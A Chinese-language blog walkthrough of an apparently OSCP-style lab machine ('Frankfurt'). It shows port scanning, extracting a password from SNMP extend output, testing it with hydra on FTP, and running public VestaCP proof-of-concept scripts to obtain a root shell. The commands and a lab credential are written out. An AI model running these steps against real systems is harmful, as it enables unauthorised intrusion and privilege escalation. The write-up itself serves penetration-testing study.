Challenge 6 - Frankfurt

Challenge 6 - Frankfurt

第一步 rustscan 掃開放 Port

└─$ rustscan -a 192.168.239.156 --scripts none --ulimit 5000 | tee rustscan




開放 Port : 192.168.239.156 -> [21,22,25,53,80,110,143,465,587,993,995,2525,3306,8083,8443,8080]
└─$ sudo nmap -sCV -p 21,22,25,53,80,110,143,465,587,993,995,2525,3306,8083,8443,8080 192.168.239.156 | tee nmap



開了一堆 Port,討厭的機器

PORT     STATE SERVICE  VERSION

21/tcp   open  ftp      vsftpd 3.0.3

| ssl-cert: Subject: commonName=oscp.example.com

22/tcp   open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)

25/tcp   open  smtp     Exim smtpd 4.90_1

| ssl-cert: Subject: commonName=oscp.example.com

53/tcp   open  domain   ISC BIND 9.11.3-1ubuntu1.18 (Ubuntu Linux)

80/tcp   open  http     nginx

110/tcp  open  pop3     Dovecot pop3d

| ssl-cert: Subject: commonName=oscp.example.com

143/tcp  open  imap     Dovecot imapd (Ubuntu)

| ssl-cert: Subject: commonName=oscp.example.com

465/tcp  open  ssl/smtp Exim smtpd 4.90_1

| ssl-cert: Subject: commonName=oscp.example.com

587/tcp  open  smtp     Exim smtpd 4.90_1

| ssl-cert: Subject: commonName=oscp.example.com

993/tcp  open  ssl/imap Dovecot imapd (Ubuntu)

| ssl-cert: Subject: commonName=oscp.example.com

995/tcp  open  ssl/pop3 Dovecot pop3d

| ssl-cert: Subject: commonName=oscp.example.com

2525/tcp open  smtp     Exim smtpd 4.90_1

| ssl-cert: Subject: commonName=oscp.example.com

3306/tcp open  mysql    MySQL 5.7.40-0ubuntu0.18.04.1

|_  Auth Plugin Name: mysql_native_password

8080/tcp open  http     Apache httpd 2.4.29 ((Ubuntu) mod_fcgid/2.3.9 OpenSSL/1.1.1)

8083/tcp open  http     nginx

|_http-title: Did not follow redirect to https://192.168.239.156:8083/

8443/tcp open  http     Apache httpd 2.4.29 ((Ubuntu) mod_fcgid/2.3.9 OpenSSL/1.1.1)


8083 Port 開起來有登入的帳號密碼,看來很大機會是它,是個 VESTA 系統




看一下 whatweb,└─$ whatweb https://192.168.239.156:8083/login/

Title 一樣只顯示 VESTA




掃一下 snmp,└─$ sudo nmap -sU -p 161 192.168.239.156,結果有開這個大部分有用



snmp 第一步是 snmp-check 先 └─$ snmp-check 192.168.239.156 看看有無可用資訊

看來有用的只有一個帳號   Contact : Me <Jack@oscp>





snmp 要參考這一篇 https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp

尤其是這一段要查看 NET-SNMP-EXTEND-MIB::nsExtendOutputFull


.


照著上面的範例改進一下一樣輸入進行列舉

snmpwalk -v 1 -c public 192.168.239.156 NET-SNMP-EXTEND-MIB::nsExtendOutputFull

發現沒有 SNMP-FRAMEWORK-MIB




所以先進行安裝 SNMP-FRAMEWORK-MIB,文章中一樣有教學

apt-get install snmp-mibs-downloader

download-mibs

# Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf

sudo vi /etc/snmp/snmp.conf



結果要使用 sudo apt-get install snmp-mibs-downloader 才能順利安裝




再跑一次 snmpwalk -v 1 -c public 192.168.239.156 NET-SNMP-EXTEND-MIB::nsExtendOutputFull

發現修改帳號密碼 STRING: "jack:3PUKsX98BMupBiCf" | chpasswd

拿到帳號密碼 jack:3PUKsX98BMupBiC



使用該帳號密碼登入 FTP 服務測試

└─$ hydra -l jack -p 3PUKsX98BMupBiCf ftp://192.168.239.156

但測試沒有成功,在 snmp-check 中有發現帳號的 J 是大寫,改用大寫試試看

└─$ hydra -l Jack -p 3PUKsX98BMupBiCf ftp://192.168.239.156

這一次成功了,看來帳號有鎖大小寫




└─$ ftp 192.168.239.156 使用 Jack:3PUKsX98BMupBiCf 登入後

ls 就看到 local.txt,執行 get local.txt 抓回來後 cat 拿到第一階段答案




一樣可以用 Jack:3PUKsX98BMupBiCf 登入 8083 Port 的 VESTA 網站

https://192.168.239.156:8083/list/user/





網站逛了一圈浪費許多時間發現沒啥東西,後來發現這一篇專門在講 VESTA 系統的弱點

https://ssd-disclosure.com/ssd-advisory-vestacp-multiple-vulnerabilities/

從頭到尾在爆料 Vesta 的漏洞,最後提供三個 POC : VestaFuncs.py、vestaATO.py、vestaROOT.py

最下面有個影片 Demo 第三個 POC : vestaROOT.py

將 python code 複製到 kali 取一樣的名稱照著跑

└─$ python3 vestaROOT.py https://192.168.239.156:8083 Jack 3PUKsX98BMupBiCf

跳出錯誤訊息 ModuleNotFoundError: No module named 'VestaFuncs'




看了一下 python code 的內容可以看到需要有一個 VestaFuncs Module,名稱與第一個 python 名稱相同,看來是會載入第一個 python code,所以將前兩個一併都載下來放在相同路徑




再跑一次 └─$ python3 vestaROOT.py https://192.168.239.156:8083 Jack 3PUKsX98BMupBiCf

就拿到 Root Shell 了,id 看一下已經是 root 那就直接 cat 答案吧

# id

uid=0(root) gid=0(root) groups=0(root)

# cat /root/proof.txt




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

濫用 Windows 庫文件(Library File)

Challenge 0 - Secura(1)